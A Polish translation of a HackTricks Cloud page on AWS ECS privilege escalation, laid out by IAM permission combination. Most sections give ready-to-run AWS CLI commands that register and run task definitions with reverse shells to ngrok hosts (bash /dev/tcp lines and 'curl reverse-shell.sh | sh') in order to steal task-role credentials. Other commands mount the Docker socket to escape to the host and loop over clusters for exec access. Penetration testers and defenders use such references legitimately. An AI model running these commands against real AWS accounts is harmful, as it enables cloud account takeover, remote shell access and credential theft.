Polish - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

AWS - ECS Privesc

Wspieraj HackTricks

ECS

Więcej informacji o ECS w:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Atakujący, wykorzystując uprawnienia iam:PassRole, ecs:RegisterTaskDefinition i ecs:RunTask w ECS, może wygenerować nową definicję zadania z złośliwym kontenerem, który kradnie poświadczenia metadanych i uruchomić ją.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potencjalny Wpływ: Bezpośredni privesc do innej roli ECS.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask w ECS może wygenerować nową definicję zadania z złośliwym kontenerem, który kradnie poświadczenia metadanych i uruchomić ją. Jednak w tym przypadku, instancja kontenera do uruchomienia złośliwej definicji zadania musi być.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potencjalny wpływ: Bezpośredni privesc do dowolnej roli ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService lub ecs:CreateService w ECS może wygenerować nową definicję zadania z złośliwym kontenerem, który kradnie poświadczenia metadanych i uruchomić ją, tworząc nową usługę z co najmniej jednym działającym zadaniem.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potencjalny Wpływ: Bezpośredni privesc do dowolnej roli ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

W rzeczywistości, mając tylko te uprawnienia, możliwe jest użycie overrides do wykonania dowolnych poleceń w kontenerze z dowolną rolą za pomocą czegoś takiego:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potential Impact: Bezpośredni privesc do dowolnej roli ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Ten scenariusz jest podobny do poprzednich, ale bez uprawnienia iam:PassRole. Jest to nadal interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet bez roli, możesz uruchomić uprzywilejowany kontener, aby uciec do węzła i ukraść rolę EC2 IAM oraz inne role kontenerów ECS uruchomionych w węźle. Możesz nawet wymusić uruchomienie innych zadań wewnątrz instancji EC2, którą przejmiesz, aby ukraść ich poświadczenia (jak omówiono w sekcji Privesc to node).

Ten atak jest możliwy tylko wtedy, gdy klaster ECS używa instancji EC2, a nie Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Atakujący z uprawnieniami ecs:ExecuteCommand, ecs:DescribeTasks może wykonywać polecenia wewnątrz działającego kontenera i wykradać rolę IAM przypisaną do niego (potrzebne są uprawnienia describe, ponieważ konieczne jest uruchomienie aws ecs execute-command). Jednakże, aby to zrobić, instancja kontenera musi uruchamiać agent ExecuteCommand (który domyślnie nie jest uruchomiony).

Dlatego atakujący może spróbować:

  • Spróbować uruchomić polecenie w każdym działającym kontenerze

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

  • Jeśli posiada ecs:RunTask, uruchom zadanie za pomocą aws ecs run-task --enable-execute-command [...]

  • Jeśli posiada ecs:StartTask, uruchom zadanie za pomocą aws ecs start-task --enable-execute-command [...]

  • Jeśli posiada ecs:CreateService, utwórz usługę za pomocą aws ecs create-service --enable-execute-command [...]

  • Jeśli posiada ecs:UpdateService, zaktualizuj usługę za pomocą aws ecs update-service --enable-execute-command [...]

Możesz znaleźć przykłady tych opcji w poprzednich sekcjach ECS privesc.

Potencjalny wpływ: Privesc do innej roli przypisanej do kontenerów.

ssm:StartSession

Sprawdź na stronie ssm privesc, jak możesz wykorzystać to uprawnienie do privesc do ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Sprawdź na stronie ec2 privesc, jak możesz wykorzystać te uprawnienia do privesc do ECS:

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: Czy możliwe jest zarejestrowanie instancji z innego konta AWS, aby zadania były uruchamiane na maszynach kontrolowanych przez atakującego??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Przetestuj to

Atakujący z uprawnieniami ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet i ecs:DescribeTaskSets może utworzyć złośliwy zestaw zadań dla istniejącej usługi ECS i zaktualizować główny zestaw zadań. Pozwala to atakującemu na wykonywanie dowolnego kodu w ramach usługi.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potencjalny wpływ: Wykonanie dowolnego kodu w zaatakowanej usłudze, co może wpłynąć na jej funkcjonalność lub wyciek wrażliwych danych.

Odnośniki

Wspieraj HackTricks
PreviousAWS - ECR PrivescNextAWS - EFS Privesc

Last updated